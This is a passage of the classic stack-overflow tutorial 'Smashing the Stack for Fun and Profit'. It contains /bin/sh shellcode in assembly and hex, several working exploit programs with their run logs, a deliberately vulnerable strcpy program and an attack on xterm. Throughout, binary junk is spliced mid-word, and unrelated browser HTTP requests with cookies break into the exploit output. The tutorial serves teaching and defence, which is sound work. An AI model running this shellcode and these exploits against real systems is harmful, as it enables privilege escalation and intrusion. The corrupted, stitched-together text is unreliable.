    ------------------------------------------------------------------------------
            jmp    0x26                     # 2 bytes
            popl   %esi                     # 1 byte
            movl   %esi,0x8(%esi)           # 3 bytes
            movb   $0x0,0x7(%esi)		# 4 bytes
            movl   $0x0,0xc(%esi)           # 7 bytes
            movl   $0xb,%eax                # 5 bytes
            movl   %esi,%ebx                # 2 bytes
            leal   0x8(%esi),%ecx           # 3 bytes
            leal   0xc(%esi),%edx           # 3 bytes
            int    $0x80                    # 2 bytes
            movl   $0x1, %eax		# 5 bytes
            movl   $0x0, %ebx		# 5 bytes
    	int    $0x80			# 2 bytes
            call   -0x2b                    # 5 bytes
            .string \"/bin/sh\"		# 8 bytes
    ------------------------------------------------------------------------------
    
       Looks good. To make sure it works cor/t/RR':{RT5ED0@#J
    P"ƞzSP]rectly we must compile it an/41':{RT5E1@#J
    P"ƺzSPd run it.
    But there is a problem.  Our code modifies itself, but most operating system
    mark code pages read-only.  To get around this restriction we must place the
    code we wish to execute in the stack or data segment, and transfer control
    to it.  To do so we will place our code in a global array in the data
    segment.  We need first a hex representation of the binary code. Lets
    compile it first, and then use gdb to obtain it.
    
    shellcodeasm.c
    ------------------------------------------------------------------------------
    void main() {
    __asm__("
            jmp    0x2a                     # 3 bytes
            popl   %esi                     # 1 byte
            movl   %esi,0x8(%esi)           # 3 bytes
            movb   $0x0,0x7(%esi)           # 4 bytes
            movl   $0x0,0xc(%esi)           # 7 bytes
            movl   $0xb,%eax                # 5 bytes
            movl   %esi,%ebx                # 2 bytes
            leal   0x8(%esi),%ecx           # 3 bytes
            leal   0xc(%esi),%edx           # 3 bytes
            int    $0x80                    # 2 bytes
            movl   $0x1, %eax               # 5 bytes
            movl   $0x0, %ebx               # 5 bytes
            int    $0x80                    # 2 bytes
            call   -0x2f                    # 5 bytes
            .string \"/bin/sh\"             # 8 bytes
    ");
    }
    ------------------------------------------------------------------------------
    
    --------------------------------------/1RR':{RT5ED2@#J
    P"FzSPB----------------------------/1<<RT5':{E(@
    JPzS"ƺPwwwc/5<<RT5':{E(@
    JPzS"bPHwwwp/5':{RT5E3@!J
    P"bzSP------------
    [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
    [aleph1]$ gdb shellcodeasm
    GDB is free software and you are welcome to distribute copies of it
     under certain conditions; type "show copying" to see the conditions.
    There is absolutely no warranty for GDB; type "show warranty" for details.
    GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x8000130 <main>:       pushl  %ebp
    0x8000131 <main+1>:     movl   %esp,%ebp
    0x8000133 <main+3>:     jmp    0x800015f <main+47>
    0x8000135 <main+5>:     popl   %esi
    0x8000136 <main+6>:     movl   %esi,0x8(%esi)
    0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
    0x800013d <main+13>:    movl   $0x0,0xc(%esi)
    0x8000144 <main+20>:    movl   $0xb,%eax
    0x8000149 <main+25>:    movl   %esi,%ebx
    0x800014b <main+27>:    leal   0x8(%esi),%ecx
    0x800014e <main+30>:    leal   0xc(%esi),%edx
    0x8000151 <main+33>:    int    $0x80
    0x8000153 <main+35>:    movl   $0x1,%eax
    0x8000158 <main+40>:    movl   $0x0,%ebx
    0x800015d <main+45>:    int    $0x80
    0x800015f <main+47>:    call   0x8000135 <main+5>
    0x8000164 <main+52>:    das
    0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
    0x8000168 <main+56>:    das
    0x8000169 <main+57>:    jae    0x80001d3 <__new_e/d6RR':{RT5ED4@#J
    P"zSPrxitfn+55>
    0x800016b <m/7':{RT5E5@J
    P"
    zSPain+59>:    addb   %cl,0x55c35dec(%ecx)
    End of assembler dump.
    (gdb) x/bx main+3
    0x8000133 <main+3>:     0xeb
    (gdb)
    0x8000134 <main+4>:     0x2a
    (gdb)
    .
    .
    .
    ------------------------------------------------------------------------------
    
    testsc.c
    ------------------------------------------------------------------------------
    char shellcode[] =
    	"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    	"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    	"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    	"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
    
    void main() {
       int *ret;
    
       ret = (int *)&ret + 2;
       (*ret) = (int)shellcode;
    
    }
    ------------------------------------------------------------------------------
    ------------------------------------------------------------------------------
    [aleph1]$ gcc -o testsc testsc.c
    [aleph1]$ ./testsc
    $ exit
    [aleph1]$
    ------------------------------------------------------------------------------
    
       It works! But there is an obstacle.  In most cases we'll be trying to
    overflow a character buffer.  As such any null bytes in our shellcode will be
    considered the end of the string, and the copy will be terminated.  There must
    be no null bytes in the shellcode for the exploit to work.  Let's try to
    eliminate the bytes (and at the same time make it smaller).
    
               Problem instruction:            /8RR':{RT5ED6@#J
    P"זzSP!     Substitute with:
          /8<<RT5':{E(@
    JPzS"
    Pf/X;':{RT5E7@J
    P"ײzSP1O     --------------------------------------------------------
               movb   $0x0,0x7(%esi)                xorl   %eax,%eax
    	   molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                    movl   %eax,0xc(%esi)
               --------------------------------------------------------
               movl   $0xb,%eax                     movb   $0xb,%al
               --------------------------------------------------------
               movl   $0x1, %eax                    xorl   %ebx,%ebx
               movl   $0x0, %ebx                    movl   %ebx,%eax
                                                    inc    %eax
               --------------------------------------------------------
    
       Our improved code:
    
    shellcodeasm2.c
    ------------------------------------------------------------------------------
    void main() {
    __asm__("
            jmp    0x1f                     # 2 bytes
            popl   %esi                     # 1 byte
            movl   %esi,0x8(%esi)           # 3 bytes
            xorl   %eax,%eax                # 2 bytes
    	movb   %eax,0x7(%esi)		# 3 bytes
            movl   %eax,0xc(%esi)           # 3 bytes
            movb   $0xb,%al                 # 2 bytes
            movl   %esi,%ebx                # 2 bytes
            leal   0x8(%esi),%ecx           # 3 bytes
            leal   0xc(%esi),%edx           # 3 bytes
            int    $0x80                    # 2 bytes
            xorl   %ebx,%ebx  /;':{RT5E8@J
    P">zSPw              # 2 bytes
            movl   %ebx,%eax                # 2 bytes
            inc    %eax                     # 1 bytes
            int    $0x80                    # 2 bytes
            call   -0x24                    # 5 bytes
            .string \"/bin/sh\"             # 8 bytes
    					# 46 bytes total
    ");
    }
    ------------------------------------------------------------------------------
    
       And our new test program:
    
    testsc2.c
    ------------------------------------------------------------------------------
    char shellcode[] =
    	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    	"\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    void main() {
       int *ret;
    
       ret = (int *)&ret + 2;
       (*ret) = (int)shellcode;
    
    }
    ------------------------------------------------------------------------------
    ------------------------------------------------------------------------------
    [aleph1]$ gcc -o testsc2 testsc2.c
    [aleph1]$ ./testsc2
    $ exit
    [aleph1]$
    ------------------------------------------------------------------------------
    
    
                                  Writing an Exploit
                                  ~~~~~~~~~~~~~~~~~~
                              (or how to mung the stack)
                              ~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    
       Lets try to pull all our pieces together.  We have the shellcode.  We know
    it must be part of the string which we'll use t/<<<RT5':{E(@
    
    JPzS"ײPHevint/5=nn':{RT5E`9@#oJ
    P"zSP7o overflow the buffer.  We 
    know we must point the retur/><<RT5':{E(@	
    JPzS"P0/$?':{RT5E:@J
    P"zSP$en address back into the buffer.  This example will
    demonstrate these points:
    
    overflow1.c
    ------------------------------------------------------------------------------
    char shellcode[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    char large_string[128];
    
    void main() {
      char buffer[96];
      int i;
      long *long_ptr = (long *) large_string;
    
      for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;
    
      for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    
      strcpy(buffer,large_string);
    }
    ------------------------------------------------------------------------------
    
    ------------------------------------------------------------------------------
    [aleph1]$ gcc -o exploit1 exploit1.c
    [aleph1]$ ./exploit1
    $ exit
    exit
    [aleph1]$
    ------------------------------------------------------------------------------
    
       What we have done above is filled the array large_string[] with the
    address of buffer[], which is where our code will be.  Then we copy our
    shellcode into the beginning of the large_string string.  strcpy() will then
    copy large_string onto buffer without doing any bounds checking, and will
    overflow the return address, overwriting it with the address where our code
    is now located.  Once we reach the end of main and it tri/s?RR':{RT5ED;@#J
    P"zSPfed to return it
    jumps to our/>@<<RT5':{E(@
    JPzS"Pl	adver/@':{RT5E<@J
    P"zSP+ code, and execs a shell.
    
       The problem we are faced when trying to overflow the buffer of another
    program is trying to figure out at what address the buffer (and thus our
    code) will be.  The answer is that for every program the stack will
    start at the same address.  Most programs do not push more than a few hundred
    or a few thousand bytes into the stack at any one time.  Therefore by knowing
    where the stack starts we can try to guess where the buffer we are trying to
    overflow will be.  Here is a little program that will print its stack
    pointer:
    
    sp.c
    ------------------------------------------------------------------------------
    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }
    void main() {
      printf("0x%x\n", get_sp());
    }
    ------------------------------------------------------------------------------
    
    ------------------------------------------------------------------------------
    [aleph1]$ ./sp
    0x8000470
    [aleph1]$
    ------------------------------------------------------------------------------
    
       Lets assume this is the program we are trying to overflow is:
    
    vulnerable.c
    ------------------------------------------------------------------------------
    void main(int argc, char *argv[]) {
      char buffer[512];
    
      if (argc > 1)
        strcpy(buffer,argv[1]);
    }
    ------------------------------------------------------------------------------
    
       We can create a program that takes as a parameter a b/ARR':{RT5ED=@#J
    P"6zSPKuffer size, and an
    offset fr/0B<<RT5':{E(@
    JPzS"6Pĺ
    onlin/hH>>RT5':{E0@
    +"Pp`/H<<RT5':{E(@
    JPzS"RPHfeedb/y::':{RT5E,>@=J}2
    P'
    f`jO/z':{RT5E?@J
    P"RzSPiom its own stack pointer (where we believe the buffer we want to
    overflow may live).  We'll put the overflow string in an environment variable
    so it is easy to manipulate:
    
    exploit2.c
    ------------------------------------------------------------------------------
    #include <stdlib.h>
    
    #define DEFAULT_OFFSET                    0
    #define DEFAULT_BUFFER_SIZE             512
    
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }
    
    void main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i;
    
      if (argc > 1) bsize  = atoi(argv[1]);
      if (argc > 2) offset = atoi(argv[2]);
    
      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
    
      addr = get_sp() - offset;
      printf("Using address: 0x%x\n", addr);
    
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
    
      ptr += 4;
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    
      buff[bsize - 1] = '\0';
    
      memcpy(buff,"EGG=",4);
      putenv(buff);
      system("/bin/bash");
    }
    ------------------------------------------------------------------------------
    
       Now we can try to guess w/M{RR':{RT5ED@@#J
    P"zSP>hat the buffer and offset sh/{<<RT5':{E(@2
    J}2P
    f'P
    evsec/}<<RT5':{E(@
    JPzS"PHH//':{RT5EA@J
    P"zSP`ould be:
    
    ------------------------------------------------------------------------------
    [aleph1]$ ./exploit2 500
    Using address: 0xbffffdb4
    [aleph1]$ ./vulnerable $EGG
    [aleph1]$ exit
    [aleph1]$ ./exploit2 600
    Using address: 0xbffffdb4
    [aleph1]$ ./vulnerable $EGG
    Illegal instruction
    [aleph1]$ exit
    [aleph1]$ ./exploit2 600 100
    Using address: 0xbffffd4c
    [aleph1]$ ./vulnerable $EGG
    Segmentation fault
    [aleph1]$ exit
    [aleph1]$ ./exploit2 600 200
    Using address: 0xbffffce8
    [aleph1]$ ./vulnerable $EGG
    Segmentation fault
    [aleph1]$ exit
    .
    .
    .
    [aleph1]$ ./exploit2 600 1564
    Using address: 0xbffff794
    [aleph1]$ ./vulnerable $EGG
    $
    ------------------------------------------------------------------------------
    
       As we can see this is not an efficient process.  Trying to guess the
    offset even while knowing where the beginning of the stack lives is nearly
    impossible.  We would need at best a hundred tries, and at worst a couple of
    thousand.  The problem is we need to guess *exactly* where the address of our 
    code will start.  If we are off by one byte more or less we will just get a
    segmentation violation or a invalid instruction.  One way to increase our
    chances is to pad the front of our overflow buffer with NOP instructions.
    Almost all processors have a NOP instruction that performs a null operation.
    It is usually used to delay execution for purposes of timing.  We will take
    advantage of it and fill half of our /':{RT5EB@J
    P"zSP؎overflow buffer with them.  We will place
    our shellcode at the center, and then follow it with the return addresses. If
    we are lucky and the return address points anywhere in the string of NOPs,
    they will just get executed until they reach our code.  In the Intel
    architecture the NOP instruction is one byte long and it translates to 0x90
    in machine code.  Assuming the stack starts at address 0xFF, that S stands for
    shell code, and that N stands for a NOP instruction the new stack would look
    like this:
    
    bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
    memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
               buffer                sfp   ret   a     b     c
    
    <------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                     ^                     |
                     |_____________________|
    top of                                                            bottom of
    stack                                                                 stack
    
       The new exploits is then:
    
    exploit3.c
    ------------------------------------------------------------------------------
    #include <stdlib.h>
    
    #define DEFAULT_OFFSET                    0
    #define DEFAULT_BUFFER_SIZE             512
    #define NOP                            0x90
    
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\x/4':{RT5EC@J
    P"zSPcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }
    
    void main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i;
    
      if (argc > 1) bsize  = atoi(argv[1]);
      if (argc > 2) offset = atoi(argv[2]);
    
      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
    
      addr = get_sp() - offset;
      printf("Using address: 0x%x\n", addr);
    
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
    
      for (i = 0; i < bsize/2; i++)
        buff[i] = NOP;
    
      ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    
      buff[bsize - 1] = '\0';
    
      memcpy(buff,"EGG=",4);
      putenv(buff);
      system("/bin/bash");
    }
    ------------------------------------------------------------------------------
    
       A good selection for our buffer size is about 100 bytes more than the size
    of the buffer we are trying to overflow.  This will place our code at the end
    of the buffer we are trying to overflow, giving a lot of space for the NOPs,
    but still overwriting the return address with the address we guessed.  The
    buffer we are trying to overflow is 512 bytes long, so we'll use 612.  Let's
    try to overflow our test program with our new exploi/z':{RT5ED@J
    P#zSP)!t:
    
    ------------------------------------------------------------------------------
    [aleph1]$ ./exploit3 612
    Using address: 0xbffffdb4
    [aleph1]$ ./vulnerable $EGG
    $
    ------------------------------------------------------------------------------
    
       Whoa!  First try!  This change has improved our chances a hundredfold. 
    Let's try it now on a real case of a buffer overflow.  We'll use for our
    demonstration the buffer overflow on the Xt library.  For our example, we'll 
    use xterm (all programs linked with the Xt library are vulnerable). You must
    be running an X server and allow connections to it from the localhost.  Set
    your DISPLAY variable accordingly.
    
    ------------------------------------------------------------------------------
    [aleph1]$ export DISPLAY=:0.0
    [aleph1]$ ./exploit3 1124
    Using address: 0xbffffdb4
    [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
    Warning: Color name "^1FF
                               
                                V
    
    1@/bin/sh
    
    
    
    
    
    
    
    
    /م':{RT5EE@#+J
    P#
    *zSP
    
    
    
    
    
    
    
    
    /~<<RT5':{E(@
    JPzS"P/Ç<<RT5':{E(@
    JPzS#Pd/<<RT5':{E(@
    JPzS#
    PPOST //e':{RT5EF@J
    P#
    zSP
    ^C
    [aleph1]$ exit
    [aleph1]$ ./exploit3 2148 100
    Using address: 0xbffffd48
    [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
    Warning: Color name "^1FF
                               
                                V
    
    1@/bin/shHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
    
    
    
    
    
    
    
    
    HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
    
    
    
    
    
    
    
    
    HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
    
    
    
    
    
    
    
    
    HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
    
    
    
    
    
    
    
    
    HHHHHHHHHHHH
    Warning: some arguments in previous message were lost
    Illegal instruction
    [aleph1]$ exit
    .
    .
    .
    [aleph1]$/':{RT5EG@
    J
    P#&zSP?X ./exploit4 2148 600
    Using address: 0xbffffb54
    [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
    Warning: Color name "^1FF
                               
                                V
    
    1@/bin/shTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
    
    
    
    
    
    
    
    
    TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
    
    
    
    
    
    
    
    
    TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
    
    
    
    
    
    
    
    
    TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
    
    
    
    
    
    
    
    
    TTTTTTTTTTTT
    Warning: some arguments in previous message were lost
    bash$
    ------------------------------------------------------------------------------
    /':{RT5EH@J
    P#zSPF
       Eureka! Less than a dozen tries and we found the magic numbers. If xterm
    where installed suid root this would now be a root shell.
    
    
                                Small Buffer Overflows
                                ~~~~~~~~~~~~~~~~~~~~~~
    
       There will be times when the buffer you are trying to overflow is so
    small that either the shellcode wont fit into it, and it will overwrite the
    return address with instructions instead of the address of our code, or the
    number of NOPs you can pad the front of the string with is so small that the
    chances of guessing their address is minuscule.  To obtain a shell from these
    programs we will have to go about it another way.  This particular approach
    only works when you have access to the program's environment variables.
    
       What we will do is place our shellcode in an environment variable, and
    then overflow the buffer with the address of this variable in memory.  This
    method also increases your changes of the exploit working as you can make
    the environment variable holding the shell code as large as you want.
    
       The environment variables are stored in the top of the stack when the
    program is started, any modification by setenv() are then allocated
    elsewhere.  The stack at the beginning then looks like this:
    
    
          <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
    
       Our new program will take an extra variab/a':{RT5E|I@#CJ
    P#>zSPgle, the size of the variable
    containing the shellcode and NOPs. Our new exploit now /#<<RT5':{E(@
    JPzS#PvGET /q/^<<RT5':{E(@
    JPzS#>Pdvwwwf/ב::':{RT5E,J@#J
    P(
    ͘``/+':{RT5EK@	J
    P#zSPlooks like this:
    
    exploit4.c
    ------------------------------------------------------------------------------
    #include <stdlib.h>
    
    #define DEFAULT_OFFSET                    0
    #define DEFAULT_BUFFER_SIZE             512
    #define DEFAULT_EGG_SIZE               2048
    #define NOP                            0x90
    
    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    unsigned long get_esp(void) {
       __asm__("movl %esp,%eax");
    }
    
    void main(int argc, char *argv[]) {
      char *buff, *ptr, *egg;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int i, eggsize=DEFAULT_EGG_SIZE;
    
      if (argc > 1) bsize   = atoi(argv[1]);
      if (argc > 2) offset  = atoi(argv[2]);
      if (argc > 3) eggsize = atoi(argv[3]);
    
    
      if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
      if (!(egg = malloc(eggsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }
    
      addr = get_esp() - offset;
      printf("Using address: 0x%x\n", addr);
    
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;
    
      ptr = egg;
      for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
        *(ptr++) = NOP;
    
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];
    
      buff[bsize - /o':{RT5EL@J
    P#!zSP'1] = '\0';
      egg[eggsize - 1] = '\0';
    
      memcpy(egg,"EGG=",4);
      putenv(egg);
      memcpy(buff,"RET=",4);
      putenv(buff);
      system("/bin/bash");
    }
    ------------------------------------------------------------------------------
    
       Lets try our new exploit with our vulnerable test program:
    
    ------------------------------------------------------------------------------
    [aleph1]$ ./exploit4 768
    Using address: 0xbffffdb0
    [aleph1]$ ./vulnerable $RET
    $
    ------------------------------------------------------------------------------
    
       Works like a charm. Now lets try it on xterm:
    
    ------------------------------------------------------------------------------
    [aleph1]$ export DISPLAY=:0.0
    [aleph1]$ ./exploit4 2148
    Using address: 0xbffffdb0
    [aleph1]$ /usr/X11R6/bin/xterm -fg $RET
    Warning: Color name
    "
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    /':{RT5EM@J
    P#&zSP
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    /<<RT5':{E(@
    JP͘`(
    Pd J
    P#,6zSP
    
    
    
    
    
    
    
    
    /<<RT5':{E(@
    JPzS#!Pv/W<<RT5':{E(@
    JPzS#,6Plv /::':{RT5E,O@+"
    P)`lJ/վ<<RT5':{E(@
    +"P)P/<<RT5':{E(@
    JPzS#,P`d/(::':{RT5E,P@>C
    P)X/@`%/,+<<RT5':{E(@T
    CPX/@)P /2mmRT5':{E_@
    J}2P
    f'PlGET /cse/cse.js?cx=partner-pub-0078565546631069:bx60rb-fytx HTTP/1.1
    Host: www.google.com
    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Referer: http://insecure.org/stf/smashstack.html
    Cookie: PREF=ID=04bb25770bda5efd:U=821b8019858dfee5:FF=0:TM=1349298717:LM=1353132395:S=hTUYuLFQmEf5G3Oi; NID=67=g42PCbJsxqC2fkr5cBOYAF6aYqCA1pkc92FpSrsFwy379ywkfhGJGxlvYfBv3Cd82ihX8KcdC_Kq96uc-acEke4PcOVSTgsHmhBBi2gSANBTuisyYGGuwUV9iyOQfNVR
    
    /366':{RT5E(Q@=J}2
    P'
    P/@LRT5':{E@
    +"P)P0GET /__utm.gif?utmwv=5.3.9&utms=2&utmn=43222278&utmhn=insecure.org&utmcs=UTF-8&utmsr=1600x779&utmvp=1583x620&utmsc=24-bit&utmul=en-us&utmje=0&utmfl=-&utmdt=Smashing%20the%20Stack%20for%20Fun%20and%20Profit%20by%20Aleph%20One&utmhid=1238161667&utmr=http%3A%2F%2Fwww.bing.com%2Fsearch%3Fq%3Dsmashing%2Bthe%2Bstack%2Bfor%2Bfun%2Band%2Bprofit%26form%3DMOZSBR%26pc%3DMOZI&utmp=%2Fstf%2Fsmashstack.html&utmac=UA-11009417-1&utmcc=__utma%3D127625173.1414085572.1363307882.1363308306.1363308647.4%3B%2B__utmz%3D127625173.1363308647.4.4.utmcsr%3Dbing%7Cutmccn%3D(organic)%7Cutmcmd%3Dorganic%7Cutmctr%3Dsmashing%2520the%2520stack%2520for%2520fun%2520and%2520profit%3B&utmu=q~ HTTP/1.1
    Host: www.google-analytics.com
    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: image/png,image/*;q=0.8,*/*;q=0.5
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Referer: http://insecure.org/stf/smashstack.html
    
    /M66':{RT5E(R@+"
    P)dP=/yRRT5':{E@
    CPX/@)PGET /ad.php?do=html&zid=14678&wd=728&ht=90&target=_top&tz=7&ck=Y&jv=N&scr=1600x779x24&z=0.4677652889206739&ref=http%3A//www.bing.com/search%3Fq%3Dsmashing+the+stack+for+fun+and+profit%26form%3DMOZSBR%26pc%3DMOZI&uri=http%3A//insecure.org/stf/smashstack.html HTTP/1.1
    Host: g.adspeed.net
    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Referer: http://insecure.org/stf/smashstack.html
    Cookie: impuniraw=156742-1363394281
    
    /(S66':{RT5E(S@>C
    P)X1Pw/Y>>RT5':{E0@
    +"Pp/_>>RT5':{E0@;
    C P.Jp/':{RT5ET@+"
    P)dPe?HTTP/1.1 200 OK
    Date: Thu, 14 Mar 2013 21:11:14 GMT
    Content-Length: 35
    X-Content-Type-Options: nosniff
    Pragma: no-cache
    Expires: Wed, 19 Apr 2000 11:43:00 GMT
    Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
    Content-Type: image/gif
    Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
    Age: 13742
    Server: GFE/2.0
    
    GIF89a,D;/_':{RT5EU@J
    P#,zSP
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    Warning: some arguments in previous message were lost
    $
    ------------------------------------------------------------------------------
    
       On the first try!  It has certainly increased our odds.  Depending how 
    much environment data the exploit program has compared with the program 
    you are trying to exploit the guessed address may be to low or to high. 
    Experiment both with positive and negative offsets.
    
    
                                  Finding Buffer Overflows
                                  ~~~~~~~~~~~~~~~~~~~~~~~~
    
       As stated earlier, buffer overflows are the result of stuffing more
    information into a buffer than it is meant to hold.  Since C does not have any
    built-in bounds checking, overflows often manifest themselves as writing past
    the end of a character array.  The standard C library provides a number of
    functions for copying or appending strings, that perform no boundary c/6RR':{RT5EDV@#nJ
    P#2zSP-Ihecking.
    They include: strca/H':{RT5EW@J
    P#22zSPt(), strcpy(), sprintf(), and vsprintf(). These functions 
    operate on null-terminated strings, and do not check for overflow of the 
    receiving string.  gets() is a function that reads a line from stdin into 
    a buffer until either a terminating newline or EOF.  It performs no checks for
    buffer overflows.  The scanf() family of functions can also be a problem if 
    you are matching a sequence of non-white-space characters (%s), or matching a 
    non-empty sequence of characters from a specified set (%[]), and the array 
    pointed to by the char pointer, is not large enough to accept the whole 
    sequence of characters, and you have not defined the optional maximum field 
    width.  If the target of any of these functions is a buffer of static size, 
    and its other argument was somehow derived from user input there is a good
    posibility that you might be able to exploit a buffer overflow.
    
       Another usual programming construct we find is the use of a while loop to
    read one character at a time into a buffer from stdin or some file until the
    end of line, end of file, or some other delimiter is reached.  This type of
    construct usually uses one of these functions: getc(), fgetc(), or getchar().
    If there is no explicit checks for overflows in the while loop, such programs 
    are easily exploited.
    
       To conclude, grep(1) is your friend.  The sources for free operating
    systems and their utilities is readily available.  T/=RR':{RT5EDX@#lJ
    P#7zSPghis fact becomes quite
    inter/:':{RT5EY@J
    P#7zSP1esting once you realize that many comercial operating systems utilities
    where derived from the same sources as the free ones.  Use the source d00d.
    
    
         Appendix A - Shellcode for Different Operating Systems/Architectures
         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    i386/Linux
    ------------------------------------------------------------------------------
            jmp    0x1f
            popl   %esi
            movl   %esi,0x8(%esi)
            xorl   %eax,%eax
    	movb   %eax,0x7(%esi)
            movl   %eax,0xc(%esi)
            movb   $0xb,%al
            movl   %esi,%ebx
            leal   0x8(%esi),%ecx
            leal   0xc(%esi),%edx
            int    $0x80
            xorl   %ebx,%ebx
            movl   %ebx,%eax
            inc    %eax
            int    $0x80
            call   -0x24
            .string \"/bin/sh\"
    ------------------------------------------------------------------------------
    
    SPARC/Solaris
    ------------------------------------------------------------------------------
            sethi   0xbd89a, %l6
            or      %l6, 0x16e, %l6
